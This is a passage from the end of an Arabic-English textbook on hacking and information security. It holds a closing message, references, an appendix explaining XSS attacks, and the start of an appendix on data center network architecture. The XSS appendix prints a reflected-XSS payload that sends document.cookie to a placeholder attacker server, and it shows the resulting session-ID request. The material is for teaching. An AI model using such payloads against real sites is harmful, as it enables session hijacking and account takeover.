‫خت‬ ‫ال‬
..‫َف‬ َ
‫خت‬ ‫وال‬ ‫ل‬‫أقب‬ ،!
‫يف‬ ‫صعبة‬ ‫تبدو‬ ‫األمور‬ ‫عظم‬ُ‫م‬
‫ر‬َ‫ظ‬ّ‫ن‬‫ال‬ ‫م‬ُ‫ث‬ ،‫وبات‬ُ‫ع‬ ُ
‫الص‬ ‫عىل‬ ‫ب‬ُّ‫ل‬َ‫غ‬َ‫ت‬‫ال‬ ‫ن‬‫مك‬ُ‫ي‬ ‫كمه‬‫واحل‬ ‫الشجاعة‬ ‫ببعض‬ ‫بالتحيل‬ ‫لكن‬ ،‫بدايتها‬
.!‫ليه‬َ‫ي‬ ‫الذي‬ ‫لىل‬ ‫انتقل‬ ‫م‬ُ‫ث‬ ،!‫به‬ ‫واقرح‬ ،‫به‬ ‫احتفل‬ ،ً‫ا‬‫دق‬َ‫ذ‬ َ
‫ققت‬ َ‫ح‬ ‫ُلام‬‫ك‬ ..‫وذكذا‬ ،‫وراءذا‬ ‫ما‬ ‫لىل‬
،‫ة‬َ‫د‬ِّ‫تعد‬ُ‫م‬‫و‬ ‫كثرية‬ ‫جاح‬‫الن‬ ‫الت‬َ‫د‬‫عا‬ُ‫م‬
.‫ها‬‫ت‬ َ
‫راس‬‫ود‬ ‫ها‬‫ت‬َ‫ق‬‫عر‬َ‫م‬ ‫من‬ ‫واألقضل‬
.!ً‫ال‬‫أو‬ ‫نها‬‫م‬ ُ‫ه‬‫َعرق‬‫ن‬ ‫ما‬ ‫َطبيق‬‫ت‬ ‫ذو‬ .
.‫اخلوارزميتني‬ ‫اتني‬‫ِب‬ ‫نكتفي‬ َ
‫س‬ ‫ذا‬‫وهل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[422]
..‫ِّئك‬‫ن‬‫ذ‬ُ‫أ‬ ‫أن‬ ُ
‫ب‬‫ح‬ُ‫أ‬
..‫تعاىل‬ ‫اهلل‬ ‫مد‬َ‫ح‬‫ب‬ ‫الكتاب‬ ‫ذذا‬ ‫اية‬‫هن‬ ‫لىل‬ َ
‫صلت‬َ‫و‬ ‫لقد‬
..‫لعجابك‬ َ
‫نال‬ ‫قد‬ ‫يكون‬ ‫أن‬ ‫أمتنى‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[423]
This page is intentionally left blank
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[424]
References
Books:
Ref (1) Hacking, the art of exploitation (2nd
Edition).
Ref (2) Computer Networking, a top-down approach (Sixth Edition).
Ref (3) The Shellcoders Handbook.
Ref (4) Practical Malware Analysis.
Ref (5) Practical Packet Analysis (2nd
Edition).
Ref (6) Grayhat Hacking (3rd
Edition).
Ref (7) Cryptography and Network Security (Fifth Edition).
Ref (8) Sybex CISSP Studygide (3rd
Edition).
Ref (9) Sybex CISA Studyguide (2nd
Edition).
Ref (10) The Practice of network security monitoring – Nostarch press
Websites:
www.wikipedia.com
www.stackoverflow.com
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[425]
Appendixes
(A), (B) and (C)
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[426]
‫ال‬ َ
‫َرب‬‫ت‬‫ع‬ُ‫ي‬
XSS
‫ال‬ ‫أشكال‬ ‫من‬ ‫شكل‬
Injection Attacks
.
‫ال‬ ‫بتعريف‬ ‫نقوم‬
injection exploits
‫ال‬ ‫طاصية‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬ ‫التي‬ ‫الثغرات‬ ‫أهنا‬ ‫عىل‬
input
‫ال‬ ‫أو‬
data entry
‫لدطال‬ ‫ليتم‬
‫ال‬ ‫لدطال‬ ‫من‬ ً‫ال‬‫بد‬ ‫كود‬
data
‫املطلوب‬
‫ة‬
‫ال‬ ‫ذذه‬ ‫لوظيفة‬ ‫ختريب‬ ‫أو‬ ‫تغيري‬ ‫بذلك‬ ‫ُج‬‫ت‬‫قين‬ ،
operation
.
‫ال‬ ‫أمثلة‬ ‫من‬
injection attacks
:‫ماييل‬
SQL injection, DOM injection, & XSS
‫ال‬ ‫ماذذا‬
XSS
‫؟‬..
Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious
JavaScript in another user's browser.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[427]
‫ذذا؟‬ ‫يتم‬ ‫كيف‬
‫ال‬ ‫يقوم‬ ‫ال‬
Attacker
‫باطرتاق‬
user
‫ال‬ ‫يف‬ ‫ثغرة‬ ‫باستغالل‬ ‫يقوم‬ ‫بينام‬ ،!‫بعينه‬
Website
‫ال‬ ‫سيقوم‬ ‫الذي‬
user
.‫بزيارته‬
‫ال‬ ‫يستخدم‬ ‫حينها‬
Attacker
‫كأدا‬ ‫ع‬‫املوق‬ ‫ذذا‬
‫ة‬
‫ال‬ ‫توصيل‬‫ل‬
malicious code
‫ال‬ ‫لىل‬
user
.‫املوقع‬ ‫ح‬‫يتصف‬ ‫الذي‬
‫ال‬ ‫ويتعامل‬
browser
‫بال‬ ‫اخلاص‬
user
‫ال‬ ‫مع‬
malicious code
.!‫مشبوه‬ ‫كود‬ ‫أنه‬ ‫ظ‬‫الح‬ُ‫ي‬ ‫وال‬ ‫املوقع‬ ‫من‬ ‫جزء‬ ُ‫ه‬‫أن‬ ‫عىل‬
‫التع‬ ‫ذو‬ ‫ذذا‬
‫ال‬ ‫من‬ ‫نوع‬ ‫ألول‬ ‫الشهري‬ ‫ريف‬
XSS
‫ال‬ ‫وذو‬ ،
"
Persistent XSS
،"
.‫اجلاقا‬ ‫ة‬َ‫غ‬ُ‫ل‬‫ب‬ ‫الكود‬ ‫ذذا‬ ‫كتابة‬ ‫يتم‬ ً‫ا‬‫وغالب‬
‫ال‬ ‫يقوم‬ ‫كيف‬
Attacker
‫بعمل‬
inject
‫ال‬ ‫هلذا‬
code
‫املوقع؟‬ ‫صفحات‬ ‫داطل‬
‫ال‬ ‫أنواع‬ ‫من‬ ‫نوع‬ ‫أي‬ ‫عىل‬ ‫حيتوي‬ ‫ع‬‫املوق‬ َ‫كان‬ ‫لذا‬ ‫حالة‬ ‫يف‬
“user inputs”
.
‫صفحات‬ ‫أحد‬ ‫أن‬ ‫نفرض‬‫ل‬
‫عىل‬ ‫حتتوي‬ ‫ما‬ ٍ‫ع‬‫موق‬
Script
‫سيكون‬ ،‫تعليق‬ ‫آطر‬ ً‫ا‬‫وحتديد‬ ،‫ار‬‫الزو‬ ‫تعليقات‬ ‫عرض‬ ُ‫ه‬‫وظيفت‬
‫ال‬ ‫ذذا‬ ‫شكل‬
Script
:‫ييل‬ ‫كام‬
‫ال‬ ‫ذذا‬
Script
‫بعمل‬ ‫سيقوم‬
access
‫ال‬ ‫لىل‬
Data Base
‫يعرضه‬ ‫م‬ُ‫ث‬ ‫تعليق‬ ‫آطر‬ ‫منها‬ ‫يلتقط‬‫ل‬ ،‫ار‬‫الزو‬ ‫بتعليقات‬ ‫اخلاصة‬
‫الشاش‬ ‫عىل‬
‫ة‬
.‫ستخدمني‬ُ‫للم‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[428]
‫يستغ‬ ‫كيف‬
‫ال‬ ‫ل‬
Attacker
‫ال‬ ‫ذذا‬
Script
‫؟‬‫به‬ ‫اخلاص‬ ‫الكود‬ ‫إلدراج‬
‫ال‬ ‫َرب‬‫ت‬‫ع‬َ‫ي‬ َ
‫س‬
Attacker
‫يف‬ ‫ختزينه‬ ‫سيتم‬ ‫الكود‬ ‫ذذا‬ ،‫كود‬ ‫بإرسال‬ ‫سيقوم‬ ‫تعليق‬ ‫لرسال‬ ‫من‬ ً‫ال‬‫بد‬ ‫ثم‬ ،‫ار‬‫الزو‬ ‫أحد‬ ‫نفسه‬
‫البيانات‬ ‫قاعدة‬
“db”
‫ألي‬ )‫(الكود‬ ‫األطري‬ ‫التعليق‬ ‫ذذا‬ ‫عرض‬ ‫يتم‬ ‫م‬ُ‫ث‬ ،
user
.‫الصفحة‬ ‫ذذه‬ ‫يفتح‬
‫ُش‬‫ن‬‫ل‬
‫أي‬ ‫سيتلقاه‬ ‫ما‬ ‫د‬‫اذ‬
user
.‫الكود‬ ‫لرسال‬ ‫بعد‬
‫ال‬ ‫بني‬ ‫التي‬ ‫النقاط‬
Tags
<Script></Script>
‫ال‬ ‫عن‬ ِّ
‫رب‬َ‫ع‬ُ‫ت‬
malicious code
‫وظيفته‬ ‫تكون‬ ‫ربام‬ ‫الكود‬ ‫ذذا‬ ،
‫ال‬ ‫لىل‬ ‫الوصول‬
Cookie
‫ال‬ ‫ِبذا‬ ‫اخلاصة‬
user
‫ال‬ ‫لىل‬ ‫لرساهلا‬ ‫م‬ُ‫ث‬ ‫ونسخها‬
Attacker
.
‫رتتب‬ُ‫مل‬‫ا‬ ‫اآلثار‬ ‫بعض‬
‫ة‬
‫وقوع‬ ‫عىل‬
‫ضحي‬ ‫أحدذم‬
‫ة‬
‫لل‬
malicious code
.
1
-
‫ال‬ ‫ة‬َ‫ق‬ َ
‫ِس‬
Cookies
‫ال‬ ‫يقوم‬
Attacker
‫األمر‬ ً‫ا‬‫مستخدم‬ ‫كود‬ ‫بتضمني‬
document.cookie
‫ال‬ ‫أحد‬ ‫يف‬
input forums
‫ِبذا‬ ‫قيتمكن‬ ،
‫ال‬ ‫عىل‬ ‫احلصول‬
cookie
.‫الصفحة‬ ‫هلذه‬ ‫زائر‬ ‫بأي‬ ‫اخلاصة‬
2
-
‫ال‬ ‫طريق‬ ‫عن‬ ‫املرور‬ ‫كلامت‬ ‫ِسقة‬
Keylogging
.
‫ال‬ ‫يقوم‬
attacker
‫رع‬ َ‫ز‬‫ب‬ ‫نا‬ُ‫ذ‬
keyboard event listener
‫األمر‬ ‫باستخدام‬
addEventListener
‫ال‬ ‫لىل‬ ‫بالكيبورد‬ ‫كتابته‬ ‫مايتم‬ ‫لرسال‬ ‫ليتم‬
Server
‫بال‬ ‫اخلاص‬
Attacker
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[429]
XSS Attack types:
Persistent XSS
where the malicious string originates from the website's database.
Reflected XSS
where the malicious string originates from the victim's request.
DOM-based XSS
where the vulnerability is in the client-side code rather than Server-side code.
Persistent XSS
:‫اهلجوم‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫تنفيذ‬ ‫ططوات‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[430]
(
1
)
‫ال‬ ‫يقوم‬
attacker
‫ال‬ ‫أحد‬ ‫باستغالل‬
input forums
‫بإدطال‬ ‫يقوم‬‫ل‬ ‫املوقع‬ ‫يف‬
malicious string
‫عن‬ ‫لليه‬
‫طريق‬
Post method
.
‫ال‬ ‫ماذذا‬
Post method
‫؟‬..
‫ال‬ ‫بتعريف‬ ‫نقوم‬ ‫البداية‬ ‫يف‬
HTTP
‫لدطول‬ ‫بوابتك‬ ‫د‬َ‫ع‬ُ‫ي‬ ‫الذي‬ ‫األسايس‬ ‫الربوتوكول‬ ‫أنه‬ ‫عىل‬
‫ال‬
WWW
.
‫ذذا‬ ‫يستخدم‬
‫الت‬ ‫عملية‬ ‫يف‬ ‫ثابت‬ ‫نظام‬ ‫الربوتوكول‬
‫ال‬ ‫بني‬ ‫واصل‬
clients
‫وال‬
server
‫ال‬ ‫وذي‬ ،
“Message based system”
ُ
‫حيث‬ ،
‫ال‬ ‫قيها‬ ‫يقوم‬
client
‫بإرسال‬
request
‫ال‬ ‫ويقوم‬ ،
server
‫عليه‬ ‫د‬‫بالر‬
response
‫ال‬ ‫أشهر‬ ‫من‬ .
methods
‫يتعامل‬ ‫التي‬
‫ال‬ َ‫ذي‬ ‫الربوتوكول‬ ‫ذذا‬ ‫ِبا‬
Get
‫وال‬ ،
Post
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[431]
‫ال‬ ‫م‬َ‫َخد‬‫ت‬‫ُس‬‫ت‬
Get
‫ال‬ ‫يقوم‬ ‫عندما‬
client
‫بطل‬
‫ب‬
resource
‫ال‬ ‫من‬ ‫بعينه‬
server
،
(Retrieve a resource)
‫بينام‬ ،
‫ال‬ ‫م‬َ‫ُستخد‬‫ت‬
Post
‫بعمل‬ ‫لتقوم‬
Action
..‫ما‬
(to perform action)
‫ال‬ ‫لعملية‬ ‫مثال‬
post
‫عىل‬ ‫بالضغط‬ ‫قيامك‬ ،
send
‫ملئ‬ ‫بعد‬ ً‫ال‬‫مث‬
forum
.‫بحث‬ ‫عملية‬ ‫لجراء‬ ‫أثناء‬ ‫أو‬ ‫ما‬
(
2
)
‫أي‬ ‫يقوم‬
user
‫م‬ ‫الصفحة‬ ‫ذذه‬ ‫بطلب‬ ‫نا‬ُ‫ذ‬ ‫عشوائي‬
‫استخدام‬ ‫الحظ‬ ،‫املوقع‬ ‫ن‬
Get method
.
(
3
)
‫بعمل‬ ‫املوقع‬ ‫يقوم‬
Response
‫لل‬
victim
‫ال‬ ‫وِبا‬ ‫الصفحة‬ ‫بإرسال‬
malicious string
‫ال‬ ‫قام‬ ‫التي‬
attacker
‫بإدطاهلا‬
‫الرقم‬ ‫الحظ‬ .‫األوىل‬ ‫اخلطوة‬ ‫يف‬ ‫البيانات‬ ‫قاعدة‬ ‫لىل‬
200
‫ال‬ ‫يف‬
response
:‫ماييل‬ ‫يعني‬ ‫وذو‬
it means that the request was successful, and that the requested resource is being returned.
(
4
)
‫ال‬ ‫يقوم‬
victim’s browser
‫ال‬ ‫بتنفيذ‬
malicious code
‫ال‬ ‫لنسخ‬ ‫كود‬ ‫عن‬ ‫عبارة‬ ‫وذو‬
Session cookie
‫بال‬ ‫اخلاص‬
victim
‫لىل‬ ‫ولرساله‬
Server
‫ال‬ ‫ُص‬‫خي‬
attacker
.
‫ال‬ ‫سيستفيده‬ ‫ومالذي‬
attacker
‫ال‬ ‫ذذا‬ ‫أطذ‬ ‫بعد‬
Session cookie
‫؟‬..
‫ال‬ ‫ذذا‬ َ‫و‬ُ‫ذ‬ ُ‫ه‬‫أن‬ ‫عىل‬ ‫املوقع‬ ‫ذذا‬ ‫مع‬ ‫بالتعامل‬ ‫بعدذا‬ ‫سيقوم‬
victim
‫ال‬ ‫ذذا‬ ‫شخصية‬ ‫انتحال‬ ‫من‬ ‫سيتمكن‬ ‫أنه‬ ‫أي‬ ،
user
.
‫ال‬ ‫ثغرات‬ ‫من‬ ‫األول‬ ‫النوع‬ ‫قهمنا‬ ‫لقد‬
XSS
.
‫املوضوع‬ ‫ذذا‬ ‫نختم‬ ‫وبه‬ ‫الثاين‬ ‫النوع‬ ‫لتوضيح‬ ‫سننتقل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[432]
Reflected XSS
‫كتاب‬ ‫من‬ ‫مثال‬ ‫ماييل‬
the web application hacker’s handbook
‫لك‬ ُ‫ه‬‫اطرتت‬
.
(
1
)
‫ال‬ ‫يقوم‬
user
‫بعمل‬
Login
‫ال‬ ‫ألحد‬
web applications
‫ال‬ ‫عىل‬ ‫ل‬ ُ
‫وحيص‬ ،‫اإلنرتنت‬ ‫عىل‬
“Session Token”
‫اخلاص‬
‫ة‬
.‫العملية‬ ‫ِبذه‬
‫ال‬ ‫وماذذا‬
Session token
‫؟‬..
‫ال‬ ‫بروتوكول‬ ‫أن‬ ‫قبل‬ ‫من‬ ‫ذكرنا‬
HTTP
‫د‬َ‫ع‬ُ‫ي‬
Stateless protocol
‫ال‬ ‫عىل‬ ‫ويعتمد‬ ،
request-response model
‫ُل‬‫ك‬‫ق‬ .
request
‫و‬
response
‫م‬ُ‫ذ‬‫َرب‬‫ت‬‫ع‬َ‫ي‬
“independent transaction”
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[433]
‫ال‬ ‫يملك‬ ‫ال‬ ‫وبالتايل‬
HTTP
‫أو‬ ‫طريقة‬
mechanism
‫ال‬ ‫من‬ ‫سلسلة‬ ‫بربط‬ ‫ليقوم‬
requests
‫ب‬ ‫اخلاصة‬
user
.!‫بعينه‬
‫ال‬ ‫طدمة‬ ‫لك‬ ‫ُقدم‬‫ت‬ ‫أهنا‬ ‫ستجد‬ ،‫اآلن‬ ‫االنرتنت‬ ‫مواقع‬ ‫لىل‬ ‫وبالنظر‬
login
‫وطدمة‬ ،
‫ذذه‬ ‫تقوم‬ ً‫ا‬‫وأيض‬ ،‫اإللكرتوين‬ ‫الرشاء‬
‫املاضي‬ ‫الزيارات‬ ‫يف‬ ‫لدهيم‬ ‫ه‬‫ب‬ َ
‫مت‬ُ‫ق‬‫ما‬ ‫ُّر‬‫ك‬َ‫َذ‬‫ت‬‫ب‬ ‫املواقع‬
‫ة‬
.
‫األمر؟‬ ‫ِبذا‬ ‫املواقع‬ ‫تقوم‬ ‫قكيف‬
‫عليه‬ ‫ق‬‫ُطل‬‫ن‬ ‫مبدأ‬ ‫تطبيق‬ ‫املواقع‬ ‫ذذه‬ ‫َحتاج‬‫ت‬ َ
‫س‬ ،‫اخلدمات‬ ‫ذذه‬ ‫من‬ ٍ
‫أي‬ ‫لتحقيق‬
“Session”
.
‫ال‬ ‫وجود‬ ‫عدم‬ ‫أن‬ ‫الحظ‬
Session
‫ال‬ ‫عملية‬ ‫سيجعل‬
login
‫كل‬ ‫أو‬ ‫صفحة‬ ‫كل‬ ‫يف‬ ‫تتكرر‬ ً‫ال‬‫مث‬
request
.!‫جديد‬
‫ال‬ ‫ذذه‬ ‫وظيفة‬ ‫قام‬
Session
‫؟‬ً‫ا‬‫لذ‬
‫ال‬ ‫يقوم‬ ‫أن‬ ‫بعد‬
user
‫بفتح‬ ‫املوقع‬ ‫يقوم‬ ،‫الدطول‬ ‫بتسجيل‬
Session
‫ال‬ ‫هلذا‬
user
‫ال‬ ‫بقية‬ ‫مع‬ ‫يتعامل‬ ‫م‬ُ‫ث‬ ،
requests
‫التي‬
‫ال‬ ‫ذذه‬ ‫داطل‬ ‫تتم‬
session
‫ال‬ ‫ذذا‬ ‫ع‬َ‫ب‬‫تت‬ ‫أهنا‬ ‫عىل‬
user
.
‫ر‬ُ‫ي‬ ‫وبالتايل‬
‫ال‬ ‫سلسلة‬ ‫أن‬ ‫من‬ ‫ُّد‬‫ك‬‫التأ‬ ‫املوقع‬ ‫يد‬
requests
‫ال‬ ‫ذذا‬ ‫من‬ ‫قادمة‬ ‫ذذه‬
user
‫وذذا‬ .‫غريه‬ ‫أحد‬ ‫وليس‬ ،!ً‫ا‬‫حتديد‬
‫ال‬ ‫باستخدام‬ ‫يتم‬ ‫ُّد‬‫ك‬‫التأ‬
“Session Token”
‫ال‬ ‫ذذا‬ ‫قام‬
Token
‫؟‬..
‫ُل‬‫ك‬‫ل‬
user
‫يفتح‬
session
‫ى‬‫سم‬ُ‫ي‬ ‫عشوائي‬ ‫رقم‬ ‫لعطاؤه‬ ‫يتم‬ ،‫املوقع‬ ‫مع‬
Session ID
‫أو‬
Token
‫يب‬ ‫وعندما‬ ،
‫ال‬ ‫ذذا‬ ‫دأ‬
user
‫بإرسال‬
request
‫ال‬ ‫ذذا‬ ‫بتضمني‬ ‫قيقوم‬ ‫أطرى‬ ‫صفحة‬‫ل‬ ‫االنتقال‬ ‫أو‬ ‫جديد‬
ID
‫ال‬ ‫يف‬
request
‫حينها‬ ‫قيتمكن‬ ،
‫ال‬ ‫ذذا‬ ‫ربط‬ ‫من‬ ‫املوقع‬
request
‫ال‬ ‫ذذا‬ ‫من‬ ‫ق‬ُّ‫ق‬‫التح‬ ‫ثم‬ ‫ومن‬ ،‫قبله‬ ‫بالذي‬
user
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[434]
(
2
)
‫ال‬ ‫يقوم‬
Attacker
‫داطل‬ ‫كود‬ ‫بإرسال‬ ‫نا‬ُ‫ذ‬
“message error”
‫ال‬ ‫أمام‬ ‫يظهر‬
victim
‫يف‬ ‫تدقيق‬ ‫دون‬ ‫عليه‬ ‫قيضغط‬
‫لل‬ ‫مايظهر‬ ‫عىل‬ ‫مثال‬ ‫ذذا‬ .!‫معناه‬
user
:
‫عن‬ ‫عبارة‬ ‫الكود‬ ‫ذذا‬
request
‫ال‬ ‫سيطلبه‬
victim
‫ال‬ ‫املوقع‬ ‫له‬ ‫ل‬‫رس‬ُ‫ي‬ ‫بأن‬ ‫املوقع‬ ‫من‬
cookie
‫ال‬ ‫أو‬
Session ID
‫ال‬ ‫لىل‬ ‫حتويله‬ ‫ويتم‬ ،‫به‬ ‫اخلاص‬
server
‫بال‬ ‫اخلاص‬
attacker
:‫كامييل‬ .
http://website.net/error/5/Error.ashx?message=<script>var+i=new+Image;
+i.src=”http://serverattacker.net/”%2bdocument.cookie;</script>
(
3
)
‫ال‬ ‫يبدأ‬
user
‫ال‬ ‫بإرسال‬
request
‫أطالقي‬ ‫الغري‬
(
4
)
‫ال‬ ‫عىل‬ ‫بالرد‬ ‫املوقع‬ ‫يقوم‬
victim
‫ال‬ ‫بإرسال‬
session ID
.‫لليه‬
(
5
)
‫ال‬ ‫يبدأ‬
victim’s browser
‫ال‬ ‫بتنفيذ‬
javascript code
:‫التايل‬
<script>var+i=new+Image;+i.src=”http://serverattacker.net/”%2bdocument
.cookie;</script>
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[435]
(
6
)
‫ال‬ ‫ل‬‫رس‬ُ‫ي‬
victim
‫ال‬
Session ID
‫ال‬ ‫لىل‬
Attacker
‫عمل‬ ‫طريق‬ ‫عن‬
request
‫ال‬ ‫لىل‬
server
‫بال‬ ‫اخلاص‬
attacker
،
‫ال‬ ‫ذذا‬
request
‫ال‬ ‫ن‬‫يتضم‬
Session Token
‫اخل‬
‫بال‬ ‫اصة‬
victim
.
‫ال‬ ‫هلذا‬ ‫شكل‬ ‫ماييل‬
request
:
‫ال‬ ‫الحظ‬
session id
GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1
Host: serverattacker.net
(
7
)
‫ال‬ ‫يستخدم‬
attacker
‫ال‬ ‫ذذا‬
session id
‫ال‬ ‫شخصية‬ ً‫ال‬‫نتح‬ُ‫م‬ ‫املوقع‬ ‫مع‬ ‫ويتعامل‬
victim
.
Appendix (B)
Spine & Leaf Architecture Vs Traditional Data
Center Architecture
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[436]
‫ال‬ ‫تكنولوجيا‬ ‫انتشار‬ ‫مع‬
Virtualization
‫وال‬
Cloud Computing
‫وال‬ ،
Distributed Cloud
‫ال‬ ‫تكنولوجيا‬ َ
‫ثل‬‫م‬
Hadoop
‫ال‬ ‫بيئة‬ ‫يف‬
Data Center
‫ا‬ ‫الُسعات‬ ‫ولىل‬ ‫قومات‬ُ‫مل‬‫ا‬ ‫من‬ ‫ملزيد‬ ‫الفعلية‬ ‫احلاجة‬ ‫بدأت‬ ..
‫البيانات‬ ‫نقل‬ ‫يف‬ ‫لعالية‬
‫ال‬ ‫ثبت‬ُ‫ي‬ ‫مل‬ ‫والتي‬
Traditional Architecture
،!‫ِبا‬ ‫الكفاءة‬
‫البتكار‬ ‫احلاجة‬ ‫قبدأت‬
Architecture
‫أو‬
Model
‫احلاج‬ ‫قكانت‬ .‫الوقت‬ ‫نفس‬ ‫يف‬ ‫ر‬‫وق‬ُ‫م‬‫و‬ ‫جديد‬
‫ة‬
‫لظهور‬
Architecture
‫التقليدي‬ ‫النظام‬ ‫ل‬ َ‫حم‬ ‫يحل‬‫ل‬ ‫ديد‬ َ‫ج‬
“Three-Tier Networking Model”
.
‫ا‬ ‫ذذا‬ ‫ما‬
‫ل‬
“Hadoop”
،‫؟‬..ً‫ال‬‫أو‬
‫ل‬ ‫سنحتاج‬ ‫ملاذا‬ ‫أقهم‬ ‫كي‬
Network Architecture
!‫معه‬ ‫ل‬ُ‫م‬‫التعا‬ ‫من‬ ‫ن‬‫َمك‬‫ت‬َ‫ن‬‫ل‬ ‫جديد‬
.
‫ال‬ ‫ح‬ َ
‫رش‬‫ب‬ ُ
‫ت‬‫م‬ُ‫ق‬
Hadoop
،‫األطري‬ ‫ق‬َ‫لح‬ُ‫مل‬‫ا‬ ‫يف‬
Appendix (C)
،
‫تستطيع‬
.‫ئت‬‫ش‬ ‫لن‬ ‫لليه‬ ‫اإلنتقال‬
‫ال‬ ‫ذذا‬ ‫وما‬
“Three-Tier Networking Model”
‫؟‬..
..‫ذو‬ ‫ذا‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[437]
Core Layer
Core Layer is considered as the back bone of networks, The Core Layer routers move
information on the network as fast as possible.
Core Layer consists of biggest, fastest, and most expensive routers with the highest model
numbers.
Aggregation Layer
The purpose of this layer is to provide boundary definition by implementing access lists and
other filters. Therefore the Distribution Layer defines policy for the network. Distribution Layer
includes layer 3 switches. it ensures that packets are properly routed between subnets and
VLANs in the enterprise.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[438]
Access Layer
Access layer switches ensures that packets are delivered to the end devices,
It includes Access Switches which are connected to the end devices (Computers, and Servers).
‫من‬ ‫نوعني‬ ‫بتوضيح‬ ‫سنقوم‬
‫ال‬
Patterns
Traffic
‫ال‬ ‫يف‬ ‫عليهم‬ ‫تعارف‬ُ‫مل‬‫ا‬
Data Center
.
:‫األول‬ ‫النوع‬
South Traffic
-
North
‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬
Traffic
ً‫ا‬‫أيض‬ ‫عليه‬ ‫ق‬‫ُطل‬‫ن‬
“Client-Server Traffic”
.
Traffic between Data Center and any thing else outside, (Traffic that travels in and out of the
data center).
‫األمثل‬ ‫بعض‬ ‫ذذه‬
‫ة‬
..‫عليه‬
‫ال‬
Traffic
‫بال‬ ‫اخلاص‬
HTTP/HTTPs
‫ال‬ ‫أو‬ ،
Exchange
‫ال‬ ‫أو‬ ،
SharePoint
.
‫ال‬ ‫أن‬ ‫يتضح‬
Network Model
‫األنواع‬ ‫ذذه‬ ‫مثل‬ ‫مع‬ ‫التعامل‬ ‫يف‬ ‫جيدة‬ ‫كفاءة‬ ‫ثبت‬ُ‫ي‬ ‫باألعىل‬ ‫عنه‬ ‫تكلمنا‬ ‫الذي‬
‫ال‬ ‫من‬
Traffic
‫ال‬ ‫بني‬ ‫األغلب‬ ‫يف‬ ‫تكون‬ ‫التي‬
Remote Clients
‫وال‬
Servers
‫ال‬ ‫بداطل‬
Data Center
.
‫ذذا‬
‫ال‬
Network Model
‫ال‬ ‫مبدأ‬ ‫عىل‬ ‫بني‬َ‫م‬
Redundancy
‫نقول‬ ‫كام‬ ‫أو‬ ‫طلل‬ ‫أي‬ ‫حدوث‬ ‫حالة‬ ‫يف‬ ‫واحلامية‬
:
“Resiliency against any failure”
.
‫ال‬ ‫تفعيل‬ ‫طريق‬ ‫عن‬ ‫وذلك‬
Spanning Tree Protocol
.
‫ل‬ ‫ب‬‫ج‬ َ‫ح‬ ‫ذلك‬ ‫عن‬ ‫ينتج‬ ‫الربوتوكول‬ ‫ذذا‬ ‫تفعيل‬ ‫عند‬ ‫ولكن‬
50%
‫ال‬ ‫من‬
Network Links
‫بالصفحة‬ ‫بالشكل‬ ‫يظهر‬ ‫كام‬
‫املاضي‬
‫ة‬
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
[439]
‫ال‬ ‫ذذه‬
Links
‫هلا‬ ‫حدث‬ ‫التي‬
Blocking
.!‫الوقت‬ ‫ذات‬ ‫يف‬ ‫وعيب‬ ‫ميزة‬ ‫هلا‬
‫امليزة‬
‫حدوث‬ ‫ستمنع‬ ‫أهنا‬
Looping
‫ك‬ ‫تكون‬ ُ
‫حيث‬ ،‫الشبكة‬ ‫يف‬
Backup
‫حدوث‬ ‫حالة‬ ‫يف‬ ُ‫ه‬‫تفعيل‬ ‫يتم‬
Failure
‫ألي‬
Link
.‫ال‬‫قع‬
‫والعيب‬
‫من‬ ‫نا‬‫م‬‫َحر‬‫ت‬ َ
‫س‬ ‫أهنا‬
50%
‫ال‬ ‫من‬
Bandwidth
.!‫اللينكات‬ ‫ذذه‬ ‫تعطيل‬ ‫بسبب‬ ‫الشبكة‬ ‫داطل‬ ‫املار‬
‫ال‬ ‫من‬ ‫الثاين‬ ‫النوع‬ ‫لىل‬ ‫سننتقل‬
Traffic
ُ‫ن‬‫و‬
‫د‬‫شاذ‬
‫ال‬ ‫سيتعامل‬ ‫كيف‬
Traditional Network Model
.!‫معه‬
West Traffic
-
East
